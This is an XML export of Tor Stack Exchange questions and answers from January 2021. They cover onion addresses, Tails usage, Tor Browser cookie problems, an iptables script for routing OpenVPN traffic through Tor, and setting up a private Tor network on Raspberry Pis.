  <row Id="21908" PostTypeId="2" ParentId="21906" CreationDate="2021-01-16T17:28:41.467" Score="0" Body="&lt;p&gt;As v2 services will be removed from the network later this year, v3 onion services are your only option. You cannot change the length of v3 addresses. They need to fit the entire ed25519 public key of the service and a checksum, and the Tor protocol does not allow you to deviate from this. Unlike v2 addresses, v3 addresses do not include a hash. See &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt#n2135&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chapter 6&lt;/a&gt; &amp;quot;Encoding onion addresses [ONIONADDRESS]&amp;quot; of the v3 spec to see the only address format that Tor allows.&lt;/p&gt;&#xA;&lt;p&gt;The onion address naming issue is difficult to solve, but Tor people are always looking for new ways to improve usability: &lt;a href=&quot;https://blog.torproject.org/cooking-onions-names-your-onions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/cooking-onions-names-your-onions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-16T17:28:41.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21909" PostTypeId="2" ParentId="21050" CreationDate="2021-01-16T17:46:59.403" Score="0" Body="&lt;p&gt;Had a similiar issue today after unexpected shutdown during boot (after persistent storage was already unlocked). Tried the &lt;code&gt;sudo chown&lt;/code&gt; but it didn't work. Luckily I had a cloned version on another USB-Stick from where I could still access the files when inserted the original stick as a regular USB while running the clone. I than updated the original from the clone than &amp;gt; configure persistent storage &amp;gt; turned off/on personal storage &amp;gt; save. Folder showed up again.&lt;/p&gt;&#xA;" OwnerUserId="31580" LastActivityDate="2021-01-16T17:46:59.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21911" PostTypeId="2" ParentId="21907" CreationDate="2021-01-17T09:00:18.857" Score="0" Body="&lt;p&gt;it's not possible, for this to be possible all the Tor servers that routed the user would need to be compromised.&lt;/p&gt;&#xA;" OwnerUserId="31584" LastActivityDate="2021-01-17T09:00:18.857" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21912" PostTypeId="1" CreationDate="2021-01-17T10:06:50.083" Score="0" ViewCount="110" Body="&lt;p&gt;If connecting to public wi-fi with only Windows and Chrome already makes a user cautious of their activity, how much more of a shield is it to connect to the same public wi-fi with a Tails-Tor system? We would still see the &amp;quot;connection is insecure&amp;quot; warning pop up wouldn't we? So what really is the benefit of making this change in system in terms of the scenario still being the same access poin? given that eavesdroppers would still be there, and the hotspot owner would see the Tor user and device name logged into their network&lt;/p&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31632" LastEditDate="2021-02-02T19:13:21.090" LastActivityDate="2021-02-02T19:13:21.090" Title="Aren't public wi-fi hotspots still insecure for Tails and Tor users?" Tags="|security|ip-address|connection|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21914" PostTypeId="1" CreationDate="2021-01-17T18:57:54.043" Score="0" ViewCount="140" Body="&lt;p&gt;Besides &lt;strong&gt;MAC address spoofing&lt;/strong&gt;, how can device name, device brand, and device type spoofing (randomization?) be done on a Tails (windows) system, so that WLAN hotspot hosts see different information than what the device actually is?&lt;/p&gt;&#xA;&lt;p&gt;It says Tails &lt;a href=&quot;https://tails.boum.org/doc/first_steps/welcome_screen/mac_spoofing/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;automatically spoofs&lt;/a&gt; the user's MAC address, but how can the MAC address spoof be&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;monitored&lt;/strong&gt; (i.e. proved by visiting a MAC address self-lookup site, like how people do IP address lookup on themselves), and&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;customized&lt;/strong&gt; (i.e. so that the user can be in control of what Tails will set the spoofed device name and manufacturer to, instead of Tails automatically deciding by itself)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-01-19T17:23:07.477" LastActivityDate="2021-01-19T17:23:07.477" Title="Device spoofing, instead of MAC address spoofing" Tags="|anonymity|tails|deanonymization|spoofing|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21915" PostTypeId="1" CreationDate="2021-01-17T20:09:01.810" Score="0" ViewCount="283" Body="&lt;p&gt;.onion websites don’t need HTTPS because Tor hidden service provides defense against man-in-the-middle attacks.&lt;/p&gt;&#xA;&lt;p&gt;Yet, it seems that .onion websites without https are not able to persist cookies which makes then unusable.&lt;/p&gt;&#xA;&lt;p&gt;I have the latest version and tested default install and with:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Marking as temporary trusted&lt;/li&gt;&#xA;&lt;li&gt;Adding the Allow list in Preference-&amp;gt; Content blocking&lt;/li&gt;&#xA;&lt;li&gt;HTTPS websites that have a self-signed SSL&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In all cases the developers console (press Control + Alt + i) shows that all “storage” was blocked for the website&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Request to access cookie or storage on “http://xyz.onion/” was blocked because we are blocking all storage access requests. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Privacy/Storage_access_policy/Errors/CookieBlockedAll&quot; rel=&quot;nofollow noreferrer&quot;&gt;learn more&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RBlCj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RBlCj.png&quot; alt=&quot;developer console&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31473" LastEditorUserId="31473" LastEditDate="2021-01-18T13:04:12.213" LastActivityDate="2021-01-18T14:13:32.507" Title="Tor browser drops cookies for .onion websites" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21918" PostTypeId="2" ParentId="17831" CreationDate="2021-01-18T09:13:06.753" Score="1" Body="&lt;p&gt;Solution:&lt;br&gt;Changing the owner of the config directory to the current user and group fixed the error for me:&lt;br&gt;&#xA;&lt;code&gt;sudo chown $(id -u):$(id -g) -R ~/.nyx&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Explanation:&lt;br&gt;On the first run (on Ubuntu 18.04) I started &lt;code&gt;nyx&lt;/code&gt; logged in as a regular user with &lt;code&gt;sudo nyx&lt;/code&gt;. A notice was shown: &lt;code&gt;Nyx is currently running with root permissions. This isn't a good idea, nor should it be necessary&lt;/code&gt;. While &lt;code&gt;nyx&lt;/code&gt; ran normally, it created its config directory &lt;code&gt;~/.nyx&lt;/code&gt; (containing the SQLite database) owned by &lt;code&gt;root:root&lt;/code&gt;.&#xA;Later, I started &lt;code&gt;nyx&lt;/code&gt; again as a regular user and it crashed with the error: &lt;code&gt;sqlite3.OperationalError: attempt to write a readonly database&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31587" LastActivityDate="2021-01-18T09:13:06.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21919" PostTypeId="2" ParentId="21915" CreationDate="2021-01-18T14:13:32.507" Score="1" Body="&lt;p&gt;I had some local settings that caused this issue.&lt;/p&gt;&#xA;&lt;p&gt;Solved it by removing local setting folder (on Mac):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo mv ~/Library/Application\ Support/TorBrowser-Data ~/Library/Application\ Support/TorBrowser-Data-achive-2021-01-18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I suspect it was caused by &amp;quot;HTTPS Everywhere&amp;quot; or &amp;quot;No Script plugin&amp;quot;. Strangely disabling them did not fix the issue. And &amp;quot;HTTPS Everywhere&amp;quot; could not be deleted thru the browser extensions manager.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.eff.org/https-everywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/https-everywhere&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5XHW2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5XHW2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31473" LastActivityDate="2021-01-18T14:13:32.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21921" PostTypeId="1" CreationDate="2021-01-18T17:19:24.763" Score="0" ViewCount="855" Body="&lt;p&gt;I have a VDS server and OpenVPN on it.&lt;/p&gt;&#xA;&lt;p&gt;I want to redirect all server traffic (including OpenVPN) through Tor.&lt;/p&gt;&#xA;&lt;p&gt;I tried using &lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/wikis/doc/TransparentProxy#local-redirection-through-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;this example&lt;/a&gt; and I was able to redirect server traffic, but OpenVPN traffic started blocking.&lt;/p&gt;&#xA;" OwnerUserId="31592" LastActivityDate="2022-02-13T07:05:40.527" Title="How to redirect OpenVPN traffic through Tor along with all server traffic" Tags="|openvpn|iptables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21922" PostTypeId="1" CreationDate="2021-01-18T18:22:28.900" Score="0" ViewCount="484" Body="&lt;p&gt;I read the system requirements for Tor and Tails, but for Windows-based x86 (64-bit) systems, what properties or hardware should someone steer away from when making a purchase that might make the system allergic to Tor and Tails? In other words, prevent them from working properly, given that systems cannot be returned once bought?&lt;/p&gt;&#xA;&lt;p&gt;What sort of issues are known for running Tails and Tor on Windows systems? Are Intel Celeron, AMD or other processor too weak to run Tails and Tor?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2022-03-04T20:03:35.297" Title="Ideal computer for running Tails and Tor on Windows?" Tags="|tails|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21923" PostTypeId="1" CreationDate="2021-01-18T20:16:55.173" Score="0" ViewCount="224" Body="&lt;p&gt;&lt;em&gt;Hello, I want to move my v3 onion address to the new server. How can I do?&#xA;Thanks&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="31593" LastActivityDate="2021-02-18T03:03:05.390" Title="Tor Address Migrate/Copying" Tags="|onion-routing|address|" AnswerCount="1" CommentCount="0" ClosedDate="2021-04-07T20:12:32.223" ContentLicense="CC BY-SA 4.0" />
  <row Id="21924" PostTypeId="2" ParentId="21923" CreationDate="2021-01-19T02:49:53.860" Score="0" Body="&lt;p&gt;Check in your current torrc file (/etc/tor/torrc on Linux OS) name of directory where your domain reside.&#xA;It will be after HiddenServiceDir (/var/lib/tor/... on Linux OS)&lt;/p&gt;&#xA;&lt;p&gt;Copy that folder to a new server. Check owner (different for different OS) and permissions. Write it to your new torrc file or just copy it if you're moving to similar OS.&lt;/p&gt;&#xA;&lt;p&gt;That's it.&lt;/p&gt;&#xA;" OwnerUserId="31552" LastActivityDate="2021-01-19T02:49:53.860" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21925" PostTypeId="2" ParentId="21921" CreationDate="2021-01-19T04:15:07.547" Score="0" Body="&lt;h3&gt;I'm glad everything is working now.&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;/etc/resolv.conf&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;nameserver 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;/etc/tor/torrc&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;TransPort 10.5.0.1:9040 IsolateClientAddr IsolateClientProtocol IsolateDestAddr IsolateDestPort&#xA;TransPort 127.0.0.1:9040 IsolateClientAddr IsolateClientProtocol IsolateDestAddr IsolateDestPort&#xA;DNSPort 10.5.0.1:5353&#xA;DNSPort 127.0.0.1:5353&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;/etc/openvpn/server.conf&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;server 10.5.0.0 255.255.255.224&#xA;port 1194&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I adapted the example from &lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/wikis/doc/TransparentProxy#local-redirection-and-anonymizing-middlebox&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;### Set variables&#xA;# The UID that Tor runs as (varies from system to system)&#xA;#_tor_uid=&amp;quot;109&amp;quot; #As per assumption&#xA;_tor_uid=`id -u debian-tor` #Debian/Ubuntu&#xA;#_tor_uid=`id -u tor` #ArchLinux/Gentoo&#xA;&#xA;# Tor's TransPort&#xA;_trans_port=&amp;quot;9040&amp;quot;&#xA;&#xA;# Tor's DNSPort&#xA;_dns_port=&amp;quot;5353&amp;quot;&#xA;&#xA;# Tor's VirtualAddrNetworkIPv4&#xA;_virt_addr=&amp;quot;10.192.0.0/10&amp;quot;&#xA;&#xA;# Your outgoing interface&#xA;_out_if=&amp;quot;eth0&amp;quot;&#xA;&#xA;# Your incoming interface and assigned local IP (Gateway)&#xA;_inc_if=&amp;quot;tun0&amp;quot;&#xA;_inc_ip=&amp;quot;10.5.0.1&amp;quot;&#xA;&#xA;# LAN destinations that shouldn't be routed through Tor&#xA;_non_tor=&amp;quot;127.0.0.0/8 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16&amp;quot;&#xA;&#xA;# Other IANA reserved blocks (These are not processed by tor and dropped by default)&#xA;_resv_iana=&amp;quot;0.0.0.0/8 100.64.0.0/10 169.254.0.0/16 192.0.0.0/24 192.0.2.0/24 192.88.99.0/24 198.18.0.0/15 198.51.100.0/24 203.0.113.0/24 224.0.0.0/4 240.0.0.0/4 255.255.255.255/32&amp;quot;&#xA;&#xA;### Don't lock yourself out after the flush&#xA;iptables -P INPUT ACCEPT&#xA;iptables -P OUTPUT ACCEPT&#xA;&#xA;### Flush iptables&#xA;iptables -F&#xA;iptables -t nat -F&#xA;&#xA;### *nat PREROUTING (For middlebox)&#xA;iptables -t nat -A PREROUTING -d $_virt_addr -i $_inc_if -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports $_trans_port&#xA;iptables -t nat -A PREROUTING -i $_inc_if -p udp --dport 53 -j REDIRECT --to-ports $_dns_port&#xA;&#xA;# Allow lan access for hosts in $_non_tor&#xA;for _lan in $_non_tor; do&#xA;   iptables -t nat -A PREROUTING -i $_inc_if -d $_lan -j RETURN&#xA;done&#xA;&#xA;for _iana in $_resv_iana; do&#xA;   iptables -t nat -A PREROUTING -i $_inc_if -d $_iana -j RETURN&#xA;done&#xA;&#xA;iptables -t nat -A PREROUTING -i $_inc_if -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports $_trans_port&#xA;&#xA;### *nat OUTPUT (For local redirection)&#xA;# nat .onion addresses&#xA;iptables -t nat -A OUTPUT -d $_virt_addr -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports $_trans_port&#xA;&#xA;# nat dns requests to Tor&#xA;iptables -t nat -A OUTPUT -d 127.0.0.1/32 -p udp -m udp --dport 53 -j REDIRECT --to-ports $_dns_port&#xA;&#xA;# Don't nat the Tor process, the loopback, or the local network&#xA;iptables -t nat -A OUTPUT -m owner --uid-owner $_tor_uid -j RETURN&#xA;iptables -t nat -A OUTPUT -o lo -j RETURN&#xA;&#xA;# Allow lan access for hosts in $_non_tor&#xA;for _lan in $_non_tor; do&#xA;  iptables -t nat -A OUTPUT -d $_lan -j RETURN&#xA;done&#xA;&#xA;for _iana in $_resv_iana; do&#xA;  iptables -t nat -A OUTPUT -d $_iana -j RETURN&#xA;done&#xA;&#xA;# Redirect all other pre-routing and output to Tor's TransPort&#xA;iptables -t nat -A OUTPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports $_trans_port&#xA;&#xA;### *filter INPUT&#xA;# Don't forget to grant yourself ssh access from remote machines before the DROP.&#xA;iptables -A INPUT -i $_out_if -p tcp --dport 22 -m state --state NEW -j ACCEPT&#xA;iptables -A INPUT -i $_out_if -p udp --dport 1194 -m state --state NEW -j ACCEPT&#xA;&#xA;iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT&#xA;iptables -A INPUT -i lo -j ACCEPT&#xA;&#xA;# Allow DNS lookups from connected clients and internet access through tor.&#xA;iptables -A INPUT -d $_inc_ip -i $_inc_if -p udp -m udp --dport $_dns_port -j ACCEPT&#xA;iptables -A INPUT -d $_inc_ip -i $_inc_if -p tcp -m tcp --dport $_trans_port --tcp-flags FIN,SYN,RST,ACK SYN -j ACCEPT&#xA;&#xA;# Allow INPUT from lan hosts in $_non_tor&#xA;# Uncomment these 3 lines to enable.&#xA;#for _lan in $_non_tor; do&#xA;# iptables -A INPUT -s $_lan -j ACCEPT&#xA;#done&#xA;&#xA;# Log &amp;amp; Drop everything else. Uncomment to enable logging.&#xA;#iptables -A INPUT -j LOG --log-prefix &amp;quot;Dropped INPUT packet: &amp;quot; --log-level 7 --log-uid&#xA;iptables -A INPUT -j DROP&#xA;&#xA;### *filter FORWARD&#xA;iptables -A FORWARD -j DROP&#xA;&#xA;### *filter OUTPUT&#xA;iptables -A OUTPUT -m state --state INVALID -j DROP&#xA;iptables -A OUTPUT -m state --state ESTABLISHED -j ACCEPT&#xA;&#xA;# Allow Tor process output&#xA;iptables -A OUTPUT -o $_out_if -m owner --uid-owner $_tor_uid -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -m state --state NEW -j ACCEPT&#xA;&#xA;# Allow loopback output&#xA;iptables -A OUTPUT -d 127.0.0.1/32 -o lo -j ACCEPT&#xA;&#xA;# Tor transproxy magic&#xA;iptables -A OUTPUT -d 127.0.0.1/32 -p tcp -m tcp --dport $_trans_port --tcp-flags FIN,SYN,RST,ACK SYN -j ACCEPT&#xA;&#xA;# Allow OUTPUT to lan hosts in $_non_tor&#xA;# Uncomment these 3 lines to enable.&#xA;#for _lan in $_non_tor; do&#xA;# iptables -A OUTPUT -d $_lan -j ACCEPT&#xA;#done&#xA;&#xA;# Log &amp;amp; Drop everything else. Uncomment to enable logging&#xA;#iptables -A OUTPUT -j LOG --log-prefix &amp;quot;Dropped OUTPUT packet: &amp;quot; --log-level 7 --log-uid&#xA;iptables -A OUTPUT -j DROP&#xA;&#xA;### Set default policies to DROP&#xA;iptables -P INPUT DROP&#xA;iptables -P FORWARD DROP&#xA;iptables -P OUTPUT DROP&#xA;&#xA;### Set default policies to DROP for IPv6&#xA;#ip6tables -P INPUT DROP&#xA;#ip6tables -P FORWARD DROP&#xA;#ip6tables -P OUTPUT DROP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31592" LastEditorUserId="24966" LastEditDate="2021-01-19T04:56:03.697" LastActivityDate="2021-01-19T04:56:03.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21927" PostTypeId="1" AcceptedAnswerId="21933" CreationDate="2021-01-19T14:17:12.450" Score="0" ViewCount="484" Body="&lt;p&gt;If Tails OS is installed on a USB drive, can other files of considerable size not related to Tails also be saved on the same USB drive in a separate folder, or is this not recommended? If not, why?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-01-20T13:49:37.813" Title="Can the USB drive containing Tails OS be shared with other files?" Tags="|tails|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21928" PostTypeId="1" CreationDate="2021-01-19T17:02:22.807" Score="0" ViewCount="123" Body="&lt;p&gt;This documentation discusses how networks can fingerprint a user who's using Tails OS&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/doc/about/fingerprint/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/doc/about/fingerprint/index.en.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There's plenty of write-ups on how Tails and Tor users are blocked from browsing some sites, but for those that can be browsed, do any major sites block Tails or Tor users from creating accounts?&lt;/p&gt;&#xA;&lt;p&gt;By major sites I mean social media sites and internet services. To have full coverage for this question, an answer can include the niches of one or more of the following sites:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Youtube&lt;/li&gt;&#xA;&lt;li&gt;Instagram&lt;/li&gt;&#xA;&lt;li&gt;Onlyfans&lt;/li&gt;&#xA;&lt;li&gt;free e-mail providers&lt;/li&gt;&#xA;&lt;li&gt;domain name registrars&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-01-19T17:33:25.173" LastActivityDate="2021-01-19T17:33:25.173" Title="Which major sites block Tails and Tor visitors from creating user accounts?" Tags="|tails|browsers|blocked-services|blocked|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21929" PostTypeId="1" CreationDate="2021-01-19T19:08:20.603" Score="0" ViewCount="3232" Body="&lt;p&gt;These two articles from March 2020 claim to have insider knowledge about Tor developing the Tails OS for use on mobile smart phones, but where actually is this product now, is it available yet? If not when will it be released&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.dailydot.com/debug/tor-anonymous-os-tails-freitas/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dailydot.com/debug/tor-anonymous-os-tails-freitas/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.dailydot.com/debug/tor-anonymous-mobile-os-tails/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dailydot.com/debug/tor-anonymous-mobile-os-tails/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-01-24T11:38:23.187" LastActivityDate="2022-03-04T00:01:10.110" Title="Tails mobile OS for smart phones: where is it?" Tags="|tor-browser-bundle|tails|mobile|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21931" PostTypeId="2" ParentId="21929" CreationDate="2021-01-19T20:28:27.693" Score="0" Body="&lt;p&gt;Those articles are from 2014, not 2020. This is not under development, and as far as I know there are no plans for anything similar.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-19T20:28:27.693" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21932" PostTypeId="1" CreationDate="2021-01-20T04:41:22.327" Score="0" ViewCount="748" Body="&lt;p&gt;I am trying to build a private tor network using raspberry pis. As a start, I am trying to emulate the basic-min network configuration (4 Authorities(also works as non-exit relays), 1 Exit, 1 Client) provided in chutney. Following are the steps I followed to set up an Directory Authority.&lt;/p&gt;&#xA;&lt;p&gt;I installed tor to a raspberry pi and successfully created a tor relay which was connected to the Internet. The torrc file looked as follows.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0&#xA;Log notice file /var/log/tor/notices.log&#xA;RunAsDaemon 1&#xA;DataDirectory /var/lib/tor&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;ORPort 443&#xA;DirPort 80&#xA;ExitPolicy reject *:*&#xA;Nickname TorRelay1&#xA;DisableDebuggerAttachment 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I downloaded and configured chutney and tested the basic-min network configuration. This generated 6 torrc files - 1 for each node in the basic-min configurations.&lt;/p&gt;&#xA;&lt;p&gt;Then I replaced the torrc file in one of the raspberry pis with a torrc file generated from chutney for a directory authority.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PathsNeededToBuildCircuits 0.67&#xA;#TestingDirAuthVoteExit *&#xA;#TestingDirAuthVoteHSDir *&#xA;#V3AuthNIntervalsValid 2&#xA;&#xA;#TestingDirAuthVoteGuard *&#xA;#TestingMinExitFlagThreshold 0&#xA;&#xA;DataDirectory /var/lib/tor&#xA;RunAsDaemon 1&#xA;ConnLimit 60&#xA;Nickname test000a&#xA;ShutdownWaitLength 2&#xA;DisableDebuggerAttachment 0&#xA;&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;#PidFile /home/ishan/tor/chutney/net/nodes.1610932415/000a/pid&#xA;Log notice file /var/log/tor/notices.log&#xA;#Log info file /home/ishan/tor/chutney/net/nodes.1610932415/000a/info.log&#xA;ProtocolWarnings 1&#xA;SafeLogging 0&#xA;LogTimeGranularity 1&#xA;&#xA;#Sandbox 1&#xA;#__OwningControllerProcess 2974&#xA;&#xA;DirAuthority test000a orport=443 no-v2 v3ident=55722D7810A204362B451EDFD6EAFF0BB8933673 192.168.0.8:80 0BD0033D651C260F62017885A74CF68BF438D68C&#xA;DirAuthority test001a orport=443 no-v2 v3ident=FFE37317EBD25F02E77215CD353D8AB450BE4E79 192.168.0.10:80 66FCEEE7E25AB8A60FBD7BF85491400ACD8F63A9&#xA;DirAuthority test002a orport=443 no-v2 v3ident=1561A5D60B1D2C729B91E8B5EA2F56D012E39043 192.168.0.2:80 EC6780819230C3F7457FC3BF4A68762297115A29&#xA;DirAuthority test003a orport=443 no-v2 v3ident=BC17E2D0DED9835D97B892C5F5A1A08CF8B9A08A 192.168.0.15:80 4E7E942815916E52366B55D756AB1E57D0A4EEE7&#xA;&#xA;SocksPort 0&#xA;OrPort 443&#xA;Address 192.168.0.2&#xA;&#xA;ExitRelay 0&#xA;ServerDNSDetectHijacking 0&#xA;ServerDNSTestAddresses&#xA;ServerDNSResolvConfFile /dev/null&#xA;&#xA;DirPort 80&#xA;&#xA;AuthoritativeDirectory 1&#xA;V3AuthoritativeDirectory 1&#xA;#ContactInfo auth0@test.test&#xA;&#xA;AssumeReachable 1&#xA;&#xA;#TestingV3AuthInitialVotingInterval 20&#xA;#TestingV3AuthInitialVoteDelay 4&#xA;#TestingV3AuthInitialDistDelay 4&#xA;&#xA;#V3AuthVotingInterval 20&#xA;#V3AuthVoteDelay 4&#xA;#V3AuthDistDelay 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please note that I have set static IP's to all the raspberry pi's which are connected via a switch and which I have added to the torrc file. I have commented some lines that I thought was not useful in my work. Also, I removed the comments included in the original chutney generated file to reduce the length of the question.&lt;/p&gt;&#xA;&lt;p&gt;My questions are as follows.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor does not start properly with the above torrc file. When I comment &lt;code&gt;AuthoritativeDirectory 1&lt;/code&gt; and&#xA;&lt;code&gt;V3AuthoritativeDirectory 1&lt;/code&gt; it does start. However, I need my pi to act as a relay + DirAuthority. What am I doing wrong here? And how to resolve the issue?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I do not understand the impact of DirAuthority fingerprint (0BD0033D651C260F62017885A74CF68BF438D68C) and V3ident(55722D7810A204362B451EDFD6EAFF0BB8933673). Do I need to add some files with these keys to a specific location? (May be the DataDirectory?)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&lt;p&gt;Update : When I use &lt;code&gt;AuthoritativeDirectory 1&lt;/code&gt; and&#xA;&lt;code&gt;V3AuthoritativeDirectory 1&lt;/code&gt;, and start tor service using &amp;quot;sudo /etc/init.d/tor restart&amp;quot;, I get the following when I run &amp;quot;systemctl | gerp tor&amp;quot;.&lt;br /&gt;&#xA;tor@default.service loaded active exited&lt;/p&gt;&#xA;&lt;p&gt;When a remove the above config parameters, I get,&lt;br /&gt;&#xA;tor@default.service loaded active running&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, the nyx command also gives &amp;quot;Unable to connect to tor. Are you sure it's running?&amp;quot; error at the problem scenario.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, I started all six raspberry pis with relevant torrc files (without the two parameters I have mentioned above). I get the following warnings in nyx.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Consensus is too old and won't serve to clients when fetching a consensus from another DirAuthority.&lt;/li&gt;&#xA;&lt;li&gt;Consensus is not found when fetching from another Directory Authority.&lt;/li&gt;&#xA;&lt;li&gt;Non authoritative directory does not accept posted server descriptors. please correct.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Update 2 -&lt;/p&gt;&#xA;&lt;p&gt;I could fix the issue mentioned above by adding the authority certificates, other keys and fingerprints to the DataDirectory location. I am keeping the issue open just in case someone else may find it useful. However, this led to another issue which I have posted under a different question. &lt;a href=&quot;https://tor.stackexchange.com/questions/21954/private-tor-network-connection-issue-due-to-error-in-tls-handshake&quot;&gt;Private Tor network connection issue due to error in TLS handshake&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30732" LastEditorUserId="30732" LastEditDate="2021-01-27T06:51:33.490" LastActivityDate="2021-01-27T06:51:33.490" Title="torrc file for a private Directory Authority in Private Tor network" Tags="|configuration|relays|directory|raspberry-pi|private|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
